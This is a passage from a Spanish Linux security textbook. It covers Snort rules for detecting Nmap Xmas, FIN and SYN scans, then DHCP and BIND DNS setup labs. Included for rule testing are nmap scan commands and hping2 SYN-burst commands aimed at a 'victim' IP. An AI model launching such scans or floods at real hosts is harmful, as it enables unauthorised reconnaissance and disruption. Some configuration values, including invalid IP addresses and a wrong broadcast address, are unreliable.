8.3.5

Defina una regla que registre una posible exploracin de puertos Xmas Tree de Nmap.

alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Escaneo Xmas Tree nmap";flags:FPU;ack:0;
reference:arachnids,28;classtype:attempted-recon; sid:628; rev:1;)
Y desde un PC linux 192.168.100.12 se lanza el comando:
# nmap sX P0 192.168.100.11
Obteniendo el siguiente resultado:
[**] [1:628:1] Escaneo Xmas Tree nmap [**]
[Classification: Attempted Information Leak] [Priority: 2]
06/11-16:11:13.715613 192.168.100.12:46874 -> 192.168.100.11:603
TCP TTL:42 TOS:0x0 ID:26374 IpLen:20 DgmLen:40
**U*P**F Seq: 0x0 Ack: 0x0 Win: 0xC00 TcpLen: 20 UrgPtr: 0x0
[Xref => arachnids 28]
[**] [1:628:1] Escaneo Xmas Tree nmap [**]
[Classification: Attempted Information Leak] [Priority: 2]
06/11-16:11:13.715644 192.168.100.12:46874 -> 192.168.100.11:1403
TCP TTL:42 TOS:0x0 ID:7374 IpLen:20 DgmLen:40
**U*P**F Seq: 0x0 Ack: 0x0 Win: 0xC00 TcpLen: 20 UrgPtr: 0x0
[Xref => arachnids 28]
[**] [1:628:1] Escaneo Xmas Tree nmap [**]
[Classification: Attempted Information Leak] [Priority: 2]
06/11-16:11:13.715657 192.168.100.12:46874 -> 192.168.100.11:1446
TCP TTL:42 TOS:0x0 ID:32444 IpLen:20 DgmLen:40
**U*P**F Seq: 0x0 Ack: 0x0 Win: 0xC00 TcpLen: 20 UrgPtr: 0x0
[Xref => arachnids 28]
[**] [1:628:1] Escaneo Xmas Tree nmap [**]
[Classification: Attempted Information Leak] [Priority: 2]
06/11-16:11:14.025550 192.168.100.12:46875 -> 192.168.100.11:328
TCP TTL:42 TOS:0x0 ID:16769 IpLen:20 DgmLen:40
**U*P**F Seq: 0x0 Ack: 0x0 Win: 0xC00 TcpLen: 20 UrgPtr: 0x0
[Xref => arachnids 28]
[**] [1:628:1] Escaneo Xmas Tree nmap [**]
[Classification: Attempted Information Leak] [Priority: 2]
06/11-16:11:14.025575 192.168.100.12:46875 -> 192.168.100.11:466
TCP TTL:42 TOS:0x0 ID:29494 IpLen:20 DgmLen:40
**U*P**F Seq: 0x0 Ack: 0x0 Win: 0xC00 TcpLen: 20 UrgPtr: 0x0
[Xref => arachnids 28]

Se nota que los flags TCP activados son Fin, Urgent y Push.

183

Parte II, Captulo 5 Sistemas para la deteccin de intrusiones

8.3.6

Defina una regla que registre una posible exploracin de puertos FIN de Nmap.

alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Escaneo


reference:arachnids,28;classtype:attempted-recon; sid:628; rev:1;)

FIN

nmap";flags:F;ack:0;

Y desde un PC linux 192.168.100.12 se lanza el siguiente comando:


# nmap sF P0 192.168.100.11
Obteniendo el siguiente resultado:
[**] [1:628:1] Escaneo Fin nmap [**]
[Classification: Attempted Information Leak] [Priority: 2]
06/11-16:13:46.454942 192.168.100.12:57956 -> 192.168.100.11:979
TCP TTL:42 TOS:0x0 ID:18694 IpLen:20 DgmLen:40
*******F Seq: 0x0 Ack: 0x0 Win: 0xC00 TcpLen: 20
[Xref => arachnids 28]
[**] [1:628:1] Escaneo Fin nmap [**]
[Classification: Attempted Information Leak] [Priority: 2]
06/11-16:13:46.455108 192.168.100.12:57956 -> 192.168.100.11:168
TCP TTL:42 TOS:0x0 ID:26181 IpLen:20 DgmLen:40
*******F Seq: 0x0 Ack: 0x0 Win: 0xC00 TcpLen: 20
[Xref => arachnids 28]
[**] [1:628:1] Escaneo Fin nmap [**]
[Classification: Attempted Information Leak] [Priority: 2]
06/11-16:13:46.455186 192.168.100.12:57956 -> 192.168.100.11:2501
TCP TTL:42 TOS:0x0 ID:38571 IpLen:20 DgmLen:40
*******F Seq: 0x0 Ack: 0x0 Win: 0xC00 TcpLen: 20
[Xref => arachnids 28]
[**] [1:628:1] Escaneo Fin nmap [**]
[Classification: Attempted Information Leak] [Priority: 2]
06/11-16:13:46.455263 192.168.100.12:57956 -> 192.168.100.11:465
TCP TTL:42 TOS:0x0 ID:50841 IpLen:20 DgmLen:40
*******F Seq: 0x0 Ack: 0x0 Win: 0xC00 TcpLen: 20
[Xref => arachnids 28]

nicamente se ve el flag TCP FIN activado.

8.3.7
Defina una regla que registre una posible exploracin SYN de Nmap que envie mas de 2
paquetes por segundo.
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Ataque SYN a mas de 2 paquetes por
segundo";flags:S;classtype:web-application-activity;threshold: type threshold, track by_src, count 3,
seconds 1;sid:8;)
Algunos comandos de ataque utilizando hping2 para probarlo empricamente pero suponiendo que el IP
30.1.1.1 es la IP externa que representa la vctima:
# hping2 30.1.1.1 -S -V -p 80

-iu1000000, para 1 paquete por segundo

# hping2 30.1.1.1 -S -V -p 80

-iu500000, para 2 paquetes por segundo

# hping2 30.1.1.1 -S -V -p 80

-iu333333, para 3 paquetes por segundo (*)

# hping2 30.1.1.1 -S -V -p 80

-iu250000, para 4 paquetes por segundo (*)

184

Parte II, Captulo 5 Sistemas para la deteccin de intrusiones

# hping2 30.1.1.1 -S -V -p 80

-iu200000, para 5 paquetes por segundo (*)

# hping2 30.1.1.1 -S -V -p 80

-iu100000, para 10 paquetes por segundo (*)

# hping2 30.1.1.1 -S -V -p 80

-iu10000, para 100 paquetes por segundo (*)

Solo se obtiene respuesta para el count = 3 y los ataques marcados con (*):

9.0

Evaluacin

9.1

Cul es el objetivo de un IDS?

9.2

Cules son los tipos de IDS segn sus caracteristicas?

9.3

Qu es snort, es lo mismo que snork?

9.4

Qu es un recolector de informacion?

10.0

Bibliografa Relacionada

185

Captulo 6
Asegurando la infraestructura de red
DHCP
1.0

DHCP

Es el Protocolo de configuracin dinmica de maquinas en red, se basa en el conocido modelo ClienteServidor. Utiliza un protocolo de comunicaciones muy sencillo (basado en UDP sobre IP). Los clientes de
una red que utilicen este protocolo utilizan direcciones IP que les "alquila" un servidor (no tiene porqu ser
local). Cada vez que un cliente se inicia, pide una direccin IP o una renovacin de la que tiene alquilada
actualmente. El cliente recibe, junto con la direccin, algunos parmetros adicionales, domain, servidor
DNS, etc... Lo que DHCP consigue es que la asignacin y liberacin de las direcciones IP en una red sea
dinmicas y automticas; Se evitan las duplicidades y se optimiza el consumo de direcciones. La
intervencin del administrador de redes, an en grandes configuraciones es mnima.
En los aos 80 era habitual utilizar un protocolo muy sencillo llamado BOOTP que permita que algunos
sistemas (normalmente mquinas Unix corriendo /etc/bootpd) asignaran direcciones IP a sistemas tales
como impresoras o servidores de terminales. El servidor utilizaba un sencillo fichero de texto para buscar la
direccin MAC del "cliente" y le asignaba la direccin IP. Actualmente este sistema se usa, por ejemplo,
para algunos elementos de electrnica de red como switches o hubs y en ciertos modelos de impresoras con
interface de red local.
El protocolo BOOTP utilizaba una estructura de tramas muy sencilla y el trfico generado era mnimo.
Desgraciadamente, no es suficiente para la mayora de los casos y en redes de tamao medio, su eficacia es
muy baja.
A principios de la dcada de los 90, la IETF (Internet Engineering Task Force) desarroll el protocolo DHCP
(Dynamic Host Configuration Protocol). Su objetivo principal era superar las posibilidades de BOOTP,
amplindolo y permitiendo que los administradores de redes se olvidaran, casi por completo, de la
asignacin de direcciones IP a las decenas o centenares de PCs y otras mquinas de su organizacin.
Linux puede ser configurado como cliente o servidor.

2.0

Arquitectura

186

Parte II, Captulo 6 Asegurando la infraestructura de red - DHCP

Arquitectura

Configuracin de la direccin de red,


mascara, pool de direcciones y parmetros
adicionales de arrendam iento y dns.
Puede atender a varias subredes para el caso
de grandes redes segmentadas.
Puede asignar la configuracin de red dado
el MAC del equipo.

Slid e 2

El protocolo DHCP puede atender a varias subredes para el caso de grandes redes segmentadas. Permite
manejar rangos de direcciones IP de forma dinmica y automatizada. Puede asignar la configuracin de red
dado el MAC del equipo. En la mayora de los entornos ofimticos, su uso puede evitar muchos problemas y
facilitar la vida del administrador de la red. Permite configurar parmetros del servidor para controlar el
comportamiento del servidor DHCP. Permite configurar Parmetros Globales.

Arquitectura

Permite configurar parmetros del servidor para


controlar el comportamiento del servidor dhcp.
Configura Parmetros G lobales:
Default Routers=D irecciones IP para
gateways
Dns servers=Direcciones IP para los DNS
Domain name=Nombre del dom inio
Broadcast addr=Direccin IP difusin
mensajes
Netbios nameserver=Nombre servidor netbios
Netbios node type=tipo nodo de cmo
resolver
Etc,

Slide 2

DHCP es un protocolo TCP/IP que proporciona una asignacin automtica de las direcciones IP. Un
administrador debe proporcionar por lo menos tres datos para cada computador: la direccin IP, la mscara

187

Parte II, Captulo 6 Asegurando la infraestructura de red - DHCP

de subred y la direccin IP de difusin de mensajes Broadcast address. Cada PC necesita una direccin IP
nica para usar TCP/ IP. Las direcciones asignadas deben estar en la subred correcta. Si usted se conecta a
una red grande, se preguntar cmo determinar a qu subred se conecta. Sin embargo, el DHCP sabe desde
qu subred proviene la solicitud de la direccin IP, por lo que no tiene problemas al asignar una direccin
apropiada.

Qu parmetros entrega

Direccin IP para identificarse


Mscara de red o netmask
Direccin difusin mensajes o broadcast
address
Nombre de dominio al que pertenece o
domain name
Servidor de nombres de dominios o DNS
server
Enrutador o router default, etc

Slide 5

3.0

Parametros que entrega DHCP

Direccin IP para identificar a un cliente en particular dentro de una subred, la mascara de red o netmask.
La direccin de difusin de mensajes o broadcast address.
El nombre del dominio al que pertenece o domain name.
El servidor de nombres de dominios para resolver nombres en su equivalente IP o DNS server.
El enrutador para entrar a otras redes o router default, etc.

188

Parte II, Captulo 6 Asegurando la infraestructura de red - DHCP

Para qu sirve

Evitar la configuracin
manual
Ahorro en tiempo de admon.
Cambios globales solo se
efectuaran en el servidor
No IP duplicados
Usuarios mviles no
configuran su red

Slide 5

4.0

Para que sirve DHCP

El administrador de la red puede configurar manualmente cada sistema, o puede proporcionar los valores
correctos y pedirle a los usuarios que configuren sus sistemas. Sin embargo, este ltimo mtodo es
francamente arriesgado. El procedimiento ms fcil y ms seguro es configurar uno o ms servidores DHCP
para que asignen automticamente direcciones IP y dems informacin necesaria a cada computador de la
red. Este proceso implica la configuracin del servidor, indicndole el rango de las direcciones a utilizar,
estableciendo algunos parmetros adicionales y revisando peridicamente el servidor
El uso de un servidor DHCP proporciona varias ventajas. Una gran ventaja es el ahorro de tiempo, ya que el
administrador no necesita desplazarse a cada sistema para configurarlo manualmente. Si un computador se
configura tambin como cliente DHCP, puede conectarlo con la red y permitir que el propio DHCP le asigne
una direccin IP inmediatamente. DHCP est siempre informado sobre las direcciones asignadas a los
diferentes PC's. Si utiliza DHCP, no es necesario preocuparse por los eventuales errores al introducir las
direcciones IP o por asignaciones duplicadas de direcciones IP en varias mquinas.
La asignacin inicial de direcciones IP no es la nica rea en la cual los administradores ahorran tiempo.
DHCP tambin simplifica las tareas de mantenimiento. Por ejemplo, puede fcilmente trasladar un
computador de una subred a otra.
Pero el uso del DHCP tambin beneficia a sus clientes.
Un cliente que conecta a su red a travs de un computador porttil no puede utilizar una direccin IP fija.
Sin embargo, los clientes que usan DHCP reciben una nueva y vlida direccin IP cada vez que conectan a
una subred distinta.

5.0

Secuencia de conexion

189

Parte II, Captulo 6 Asegurando la infraestructura de red - DHCP

Secuencia de conexin

El cliente enva una solicitud de tipo


broadcast para ver si encuentra un servidor
DHCP
El servidor DHCP recibe la solicitud y
selecciona los parmetros adecuados.
El servidor DHCP solicita una direccin IP al
pool de direcciones para asignar al cliente.

Slide 5

El cliente enva una solicitud de tipo broadcast para ver si encuentra un servidor DHCP.
El servidor DHCP recibe la solicitud y selecciona los parmetros adecuados.
El servidor DHCP solicita una direccin IP de la reserva de IP por asignar.

190

Parte II, Captulo 6 Asegurando la infraestructura de red - DHCP

Secuencia de conexin

El pool de direcciones asigna una IP que no se


encuentre en uso, este pool de direcciones es
predefinido por el administrador de redes.
El DHCP responde al cliente con la lista de
parmetros predefinidos incluyendo la
direccin IP

Slide 5

Se responde con una direccin IP que no se encuentre en uso desde un pool de direcciones predefinido por el
administrador de redes.
El DHCP responde al cliente con la lista de parmetros predefinidos incluyendo la direccin IP

6.0

Archivos de configuracion

Existe un archivo de configuracin que es: /etc/sysconfig/dhcpd para configurar la tarjeta de red por donde
el servicio se prestar, la variable se llama DHCPD_INTERFACE=eth0.
Por defecto el servicio no se inicia automticamente, se debe crear un enlace simblico as:
# ln s /etc/init.d/dhcpd /etc/rc.d/rc5.d/S99dhcpd

191

Parte II, Captulo 6 Asegurando la infraestructura de red - DHCP

Procedimiento de configuracin
Entre al sistema como el usuario root en modo
grfico y seleccione el icono de W ebmin.
Seleccione la carpeta de server.
Seleccione el icono de DHCP server y realice la
Configuracin del DHCP como:
Add a new subnet
Edit Client options
List active leases
Start server

Slide 7

En Linux existir el archivo de configuracin /etc/dhcpd.conf con la siguiente configuracin:


ddns-update-style
none;
ddns-updates
off;
default-lease-time
600; # Tiempo mnimo de validez de la IP asignada
max-lease-time 7200; # Tiempo mximo de permanencia de la direccin
# Los tiempos anteriores estn en segundos
Este es un ejemplo de una posible configuracin:
subnet 192.168.10060.0 netmask 255.255.255.0 {
range 192.168.10060.50 192.168.10060.90;
host openunix8 {
default-lease-time 18000;
fixed-address 192.168.10060.6;
}
host unixware {
fixed-address 192.168.10060.7;
}
}
Reinicie el sistema y deber estar en servicio el servidor dhcpd.

7.0

Instalacion del DHCP desde el CDROM

Si el servicio no fue preinstalado cuando se hizo la instalacin inicial entonces deber montar el CDROM
manualmente:
# mount /dev/cdrom /media/cdrom
Luego instale segn el formato rpm con el comando:

192

Parte II, Captulo 6 Asegurando la infraestructura de red - DHCP

# rpm i dhcp-x.i386.rpm
Donde x es la versin del dhcp actualizado.
Es recomendable instalar cualquier otro archivo que inicie con el nombre dhcp. Ahora reinicie el sistema.
Para desinstalar el software utilice el siguiente comando:
# rpm e nodeps dhcp
Para actualizar hacia una nueva versin digite:
# rpm hUv dhcp

8.0

Comandos DHCP

Utilice el comando more para visualizar el archivo /var/run/dhcpd.pid donde encontrara el nmero del pid del
proceso que ejecuta el demonio de DHCP.

Comandos
Para apagarlo vea el archivo
/var/run/dhcpd.pid:
# kill 15 dhcpd.pid
Para iniciarlo:
# dhcpd cf /etc/dhcpd.conf

Slide 7

Para apagar el servicio de DHCP ejecute el comando kill con la opcin -15 otra opcin sera /etc/init.d/dhcpd
stop
# dhcpd cf /etc/dhcpd.conf
Las opciones pueden ser:
-p Para el puerto, puede escuchar por el puerto 67
-f Ejecutar en foreground
-d Log para el standard error
-cf Para configuraciones alternas
Otra forma de inicializar el servicio sera:
/etc/init.d/dhcpd start

9.0

Configuracion DHCP por medio de la utilidad webmin

Seleccione la carpeta de Server, haga click sobre el icono DHCP Server.


Haga clic sobre el enlace add a new subnet. Supongamos que tenemos la intranet 192.168.10060 y que
sobre esta asignaremos IP.

193

Parte II, Captulo 6 Asegurando la infraestructura de red - DHCP

Entonces en network address digite 192.168.10060.0 En netmask escriba la mascara de red para este caso
se recomienda 255.255.255.0 En Address ranges escriba el rango de IP para asignar: 192.168.10060.11
hasta 192.168.10060.254.
En Edit client options digite los siguientes datos:

Configurar desde Webmin

Slide 8

Domain name: el nombre del dominio de su red por ejemplo lacositarica.com.co


Default routers: Debe hacer click enfrente de default para sobre escribir el defecto, por ejemplo el router
192.168.10060.100. Este dato debe ser verificado con su administrador de red.
DNS Server: Escriba el IP del servidor DNS, para este caso es el mismo servidor 192.168.10060.2.
Al presionar save se guardan los datos.Para apagar y reiniciar el servicio presione Apply Changes.
Configuracin de Win95/Win98 como cliente DHCP.

Click derecho sobre el icono de Entorno de Red y seleccione propiedades


Seleccione TCP/IP y click en propiedades
Seleccione " Obtain an IP address automatically"
Click en el DNS Configuration tab y seleccione "Disable DNS"
Click en el men de " Gateway o puerta de enlace" y remover cualquier dato escrito anteriormente.
Click en OK.
Reinicie el sistema.

Para verificar que el cliente Windows haya tomado los valores asignados por el
comando en Windows "winipcfg, en XP o 2000 use ipconfig /all

194

DHCP servir ejecute el

Parte II, Captulo 6 Asegurando la infraestructura de red - DHCP

10.0

Laboratorio:

Configuracin del DHCP sobre Linux

Paso 1: Determinar si la tarjeta de red esta activa y con IP establecido.


No olvide usar el comando ifconfig, si no existe el IP use el comando yast2 en SUSE o setup en
Fedora.
Paso 2: Edite el archivo /etc/dhcpd.conf
Asegurase que estn como mnimo los siguientes datos:
# dhcpd.conf
ddns-update-style
ddns-updates
off;
default-lease-time
max-lease-time 7200;

none;
600;
# 10 minutes
# 2 hours

Este cdigo puede ser introducido a travs del editor vi o mc, para mas informacin sobre vi o mc
digite man vi.
Paso 3: Cree la subred y su respectivo rango de direcciones a asignar adicionando al final del
archivo /etc/dhcpd.conf:
subnet 192.168.100.0 netmask 255.255.255.0 {
option routers 192.168.100.254;
range 192.168.100.10 192.168.100.250;
option domain-name-servers 192.168.100.254;
option domain-name "lacositarica.com";
option broadcast-address 255.255.255.0;
}
No olvide guardar los cambios.

Paso 4: Inicie el servicio con el comando:


# /etc/init.d/dhcpd start
Para apagar el servicio use el comando #/etc/init.d/dhcpd stop
Es importante aclarar que el modo grfico no asegura que el servicio este activo por lo tanto se
debe subir en modo texto desde la consola.

195

Parte II, Captulo 6 Asegurando la infraestructura de red - DHCP

Para ver los errores se debe verificar el archivo de logs con el comando:
# tail /var/log/messages

Bibliografa
Manuales UnitedLinux
Unixware System Administration,
Gene Henriksen and Melissa
Henriksen, Editorial MacMillan,
1999.

Slide 12

196

Captulo 7
Asegurando la infraestructura de red
DNS
1.0

Historia del DNS

El sistema de Nombres de Dominio (DNS por sus siglas en ingls, Domain Name System), naci en la
dcada de los 80's. Creado por Pal Mockapetris en colaboracin con Jon Postel de la Universidad del Sur
de California y posteriormente, Pal Vixie. Juntos desarrollaron lo que hasta ahora conocemos como el DNS
(BIND, Barkeley Internet Name Domain), un sistema cliente/servidor, distribuido y jerrquico.
Se crearon entonces los nombres de dominio genricos de primer nivel (gTLD, generic Top-level
Domain), .com .net y .org, es decir, se haban creado estas tres clasificaciones con el fin de ubicar el
tipo de entidades que buscaban tener presencia en Internet. Adems de estos gTLD se empez por delegar
los sufijos nacionales (nTLD, national Top-level Domain) a los pases que se fueran conectando a la red.
Es un sistema que ayuda a los usuarios de Internet a utilizar la red de una forma ms sencilla.
Como concepto general se puede decir que DNS es una base de datos distribuida.
La estructura de la base de datos de DNS es similar a la estructura de directorios del sistema operativo
Linux/UNIX. Dicha estructura es como un rbol invertido con la raz (representada por un punto .)

197

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

Para que sirve DNS


 Sirve

para que el usuario no


recuerde los IP, en cambio
recuerda solamente los
nombres lgicos...
 Ej:www.lacositarica.com no
200.93.178.2

Estas direcciones IP son nicas, lo cual quiere decir que cada computador tiene su propia direccin IP y que
esta es diferente del resto de direcciones IP existentes.

El DNS es necesario para nuestras aplicaciones de manera que puedan convertir los nombres que nosotros
utilizamos en nombres comprensibles para las mquinas (Direcciones IP) y proveer al usuario final de una
forma cmoda de comunicarse.
Sin embargo, el uso de estas direcciones IP es complicado para nosotros, ya que no es fcil recordarlas, por
lo que preferimos utilizar nombres con algn significado, a los que estamos acostumbrados en la vida diaria.

198

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

2.0 Filosofa de los Dominios


El Sistema de Nombres de Dominio utiliza un sistema jerrquico de nomenclatura conocido como nombres
de dominio.
Un nombre de domino consiste en una secuencia
delimitacin, el periodo.

de sub-nombres separados por un carcter de

Primer campo:
www.lacositarica.com.co
 Los

nombres se leen de derecha a


izquierda.
 El primer campo es el pas al que
pertenece el dominio:
 .uk - Reino Unido.
 .sv El Salvador
 .co - Colombia

El nombre de cada computadora consiste en una serie de caracteres alfanumricos separados por periodos
(.). Por ejemplo, uno de estos nombres podra ser: www.unincca.edu.co
Los nombres de nivel superior permiten dos jerarquas de nomenclatura completamente diferentes, la
geogrfica y la organizativa.
En casi todos los casos, los dominios geogrficos estn basados en los cdigos del pas de dos letras
especificadas en ISO 3155 esta nomenclatura corresponde a un documento de la Organizacin de Estndares
Internacionales.
La autoridad de Internet ha optado por hacer una serie de particiones en su nivel superior dando lugar a los
siguientes dominios, en la siguiente figura se puede apreciar la estructura de la jerarqua de nivel superior:

199

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

Segundo campo:
www.lacositarica.com.co
 Es

el tipo de organizacin:
 .arpa Identificacin ARPAnetInternet
 .com Empresa comercial
 .edu Institucin educativa
 .gov Organizacin gubernamental
 .mil Militar
 .org Cualquier otra cosa <> anteriores
La informacin compilada, mantenida y distribuida por IANA se divide en 3 categoras:
1.Servicio De Registro: Estos servicios se relacionan con el registro del nombre por dominio (Direcciones,
con el fin de que no sean utilizados por otros usuarios. Los servicios de registro de IANA son
proporcionados por Network Solutions, Inc.
2.Directorio De Servicios De Bases De Datos: Estos servicios incluyen informacin sobre los diferentes
recurso y bases de datos con las que cuantas la red, as como un directorio de paginas amarillas y
paginas blancas con las direcciones de INTERNET. AT&T proporciona los servicios de bases de datos y el
directorio de IANA.
3.El mecanismo que implementa la jerarqua de nombres de una mquina para TCP/IP Internet se denomina
DNS (Domain Name System).

200

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

Tercer campo:
www.lacositarica.com.co








Es el dominio como tal:


.ibm -ISP IBM.
.fuac - Universidad Autonoma de Col.
.uniandes - Univ. De los Andes.
.icfes - Instituto colombiano de fomento a la
educacin superior.
.sco - Santa Cruz Operation
.unincca Universidad Incca de Colombia

El propsito de un dominio organizativo es proporcionar otro nivel de distincin en una direccin de dominio
completa, por lo tanto, se podran tener dos direcciones que fueran exactamente iguales excepto por l
domino organizativo y los mensajes se mandaran a lugares completamente diferentes.

201

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

Cuarto campo:
www.lacositarica.com.co
 Es

el nombre del servidor:


 www.lacositarica.com.co
 ftp.lacositarica.com.co
 mail.lacositarica.com.co
 smtp.lacositarica.com.co
 proxy.lacositarica.com.co
 ns1.lacositarica.com.co

El nombre de una computadora se denomina tambin Nombre de Dominio. Estos nombres de dominios
son jerrquicos, y la parte ms significativa del mismo se sita a la derecha. El segmento situado en el
extremo izquierdo (en este caso WWW) es el nombre de una computadora individual. El resto de segmentos
del nombre identifican el grupo de computadoras al que pertenece el nombre individual. En el ejemplo, el
nombre individual WWW pertenece al grupo de nombres lacositarica, que a su vez pertenece al grupo
com, que a su vez pertenece al grupo co.

3.0 Archivos de configuracion del servicio DNS

Los archivos de configuracin se encuentran en el directorio /etc. El archivo /etc/resolv.conf le indica a linux
que al actuar como cliente ese IP debe resolver las consultas. Si el servidor es el mismo cliente el ip es el
mismo de la maquina servidora.

202

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

/etc/resolv.conf
 Este

archivo indica cual es el


servidor dns que resuelve nombres
 Es obligatorio en mquinas clientes
que atienden a usuarios

El archivo /etc/nsswitch.conf permite indicar la prioridad de archivos usados en las bsquedas.

/etc/nsswitch.conf
 local

indica que busque en


/etc/hosts
 bind
indica usar servicio dns
 nis
network information system

203

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

/etc/named.conf (1 de 4)
 Cuando

se inicia Linux se busca este


archivo de configuracin, si existe el
servicio bind se activa.
 En la versin 4 de bind el archivo se
llamaba /etc/named.boot.
 En las nuevas versiones se llama
/etc/named.conf

El archivo /etc/named.conf es el archivo de configuracin ms importante del dns, la seccin options


contiene la directiva directory para indicar en que directorio se encuentra la base de datos. La opcin
forward first; dentro de options indica que haga reenvi. La opcin forwarders {200.24.94.162}; dentro
de options indica a cual servidor se le reenvan las consultas. Se recomienda en intranet para los servidores
detrs del firewall. La opcin pid-file en UnitedLinux fallar por errores de lectura se recomienda retirarla.

Ejemplo para lacositarica.com











zone
type
file
};
zone
{
type
file
};

lacositarica.com" in {
master;
"db.lacositarica.com";
"47.72.216.in-addr.arpa" in
master;
"db.47.72.216";

4.0 Registros en la base de datos DNS

204

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

Registros de la BD (1 de 2)






SOA - Inicio de area, informacion


acerca del dominio
NS - Servidor de nombres del dominio
A - Indica el IP de un nombre.
PTR - Apuntador en reversa.
CNAME - Alias para un mismo IP.

Estos registros son utilizados para la configuracin de las diferentes bases de datos.
Cuando encontramos al principio del registro un carcter @ o en blanco hacen referencia al mismo
dominio.
En el registro MX encontramos un valor numrico, que significa la prioridad del correo.

Despus de haber realizado cualquier cambio, en los archivos de configuracin debe apagar e iniciar
nuevamente el servicio DNS.

Tambin puede hacer un reinicio con la opcin restart del comando /etc/init.d/named.

# nslookup

NOMBRE SERVIDOR

Retorna el ip de NOMBRE SERVIDOR


Generalmente el archivo /etc/hosts contiene las direcciones IP y el nombre respectivo de cada servidor,
cuando se tienen mas de 100 servidores este mtodo no es optimo por que utiliza lectura secuencial.
5.0 Comandos basicos

Comandos bsicos
 Reiniciar

el servicio:
 /etc/init.d/named reload
 Apagar el servicio:
 /etc/init.d/named stop
 Iniciar el servicio:
 /etc/init.d/named start

205

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

6.0

Si el servicio no fue preinstalado cuando se hizo la instalacin inicial entonces deber montar el
CDROM manualmente: Es recomendable instalar cualquier otro archivo que inicie con el nombre
bind.

Laboratorio:

Objetivo: Configurar el servidor DNS por medio de la utilidad webmin


Supuestos:
El servidor debe tener un IP y un dominio por defecto previamente configurado. Para este ejemplo suponga
que tiene el dominio mvaonline.com y el IP 200.93.178.2.
Verifique que versin del dns tiene con el comando rpm q bind, o rpm q named.
Para bajar la ltima versin descrguela del sitio www.isc.org/products/BIND de preferencia en formato
tarbal, si el sistema es basado en debian use el comando apt-get install bind.
Baje el servicio DNS antes de borrar los archivos del sistema con el comando:
# /etc/init.d/named stop
Se recomienda empezar desde ceros borrando la base de datos de las zonas a la que apunta el archivo
/etc/named.conf, verifique el directorio de la base de datos observando la variable directory luego se debe
borrar tambin este archivo denominado /etc/named.conf
Nota: En los sistemas DNS seguros como el Bind versin 9.2 la opcin named t /var/lib/named estar
activada para indicar que el home directory del dns es la carpeta /var/lib/named y no el directorio /etc que
generalmente usa webmin.
Para revisarlo mire el archivo /etc/init.d/named, si la opcin t esta activada entonces no busque los
archivos en /etc/, bsquelos en /var/lib/named como lo indica la opcin t. Es importante que las carpetas
./var/lib/run, ./etc y ./dev existan en ese directorio especial.
En Ubuntu y debian la carpeta de configuracion se encuentra en /etc/bind

Paso 1: Haga login con el usuario root o el administrador, seleccione la carpeta Server y dentro de esta
haga click sobre el icono Bind DNS Server, seleccione la opcin que utilizar en su dns:

206

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

Setup name server for internal non-internet use only: Esta opcin configura el DNS local para la
intranet.
Setup as an Internet name server, and download root server information: Esta opcin configura el
servidor DNS para varios dominios y adems baja en forma automtica desde internet el archivo
principal de los servidores maestros de DNS.
Setup as an Internet name server, but use Webmins older root server information: Configura el servicio
DNS pero utilize los archivos predefinidos en webmin. No baja el archivo maestro de servidores de DNS
mundial.

El paso anterior crea el archivo /etc/named.conf con la siguiente estructura:


Options {
Directory /etc;
Pid-file /etc/run/named.pid;
};
zone . {
type hind;
file /etc/db.cache;
};

Paso 2: Creacin de Zonas maestras


Zona Forward (Names to Address)

Seleccione Create new master zone, para crear resolucin de nombre a IP digite:
Zone Type: Forward es decir resuelve nombre a IP.
Domain name/network: Se debe digitar el nombre del dominio, por ejemplo mvaonline.com, luego en el
campo Master server: el nombre de su servidor dns, por ejemplo: linux.mvaonline.com
Email address: el login name del usuario administrador sin formato de e-mail, ejemplo postmaster
Al presionar el botn create se creara el archivo /etc/mvaonline.com.hosts

207

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

208

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

Paso 3: Dominio en reversa


Reverse (Address to name)
Para crear resolucin de IP a nombres, usted deber crear una nueva zona, haga click en Create a new
master zone con los siguientes datos:

Zone Type: Reverse, es decir address to name o IP a nombres.


Domain name/network: Se debe digitar el IP de la red, por ejemplo 200.93.178
Master Server: el nombre de su servidor dns, por ejemplo: www.mvaonline.com
Email address: el login name del usuario administrador sin formato de e-mail, ejemplo postmaster.
Al presionar el botn create se creara el archivo /etc/200.93.178.rev

209

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

Paso 4: Editar la zona Forward para agregar registros


Ahora deber aparecer en pantalla Existing DNS Zones, edite la zona mvaonline.com

Observe que ahora aparecen varios iconos representando los registros como A, NS, CN, MX, HI, TX, WK, RP
y LO.

Para crear el nombre del servidor como linux entonces haga click sobre A, en el campo name digite linux en
address digite el IP de su servidor por ejemplo 200.93.178.2, en Update reverse haga click en yes.
Para terminar presione el botn Create.

210

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

Para crear un alias como www.mvaonline.com presione el botn CN, en el campo name digite WWW, en el
campo Real name digite el nombre de su maquina original como linux.
Presione crear y ya estar creado el alias.

211

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

Este caso es especial para cuando queremos que el servidor original linux.mvaonline.com sea visto como
www.mvaonline.com.co
Se acostumbra a crear tantos alias como servicios se preste por ejemplo estos son los mas usados:
www
pop
imap
smtp
ftp

Para
Para
Para
Para
Para

el servidor web
la oficina de correos
oficinas de correos centralizada
el servidor de correos salientes
el servidor ftp

212

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

Paso 5: Servidor de correos:

En el campo Name no escriba pues esta por defecto en la zona deseada.


En el campo Name Server escriba el nombre del servidor, en nuestro caso ser linux y en Priority el valor de
prioridad de nuestro servidor de correo.
La prioridad define quien es el primer servidor en atender requerimientos cuando tenemos un cluster de
servidores de correos.
Para terminar presione el botn Create.

213

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

Paso 6: COMO DECIRLE AL SISTEMA QUIEN ES EL SERVIDOR DNS


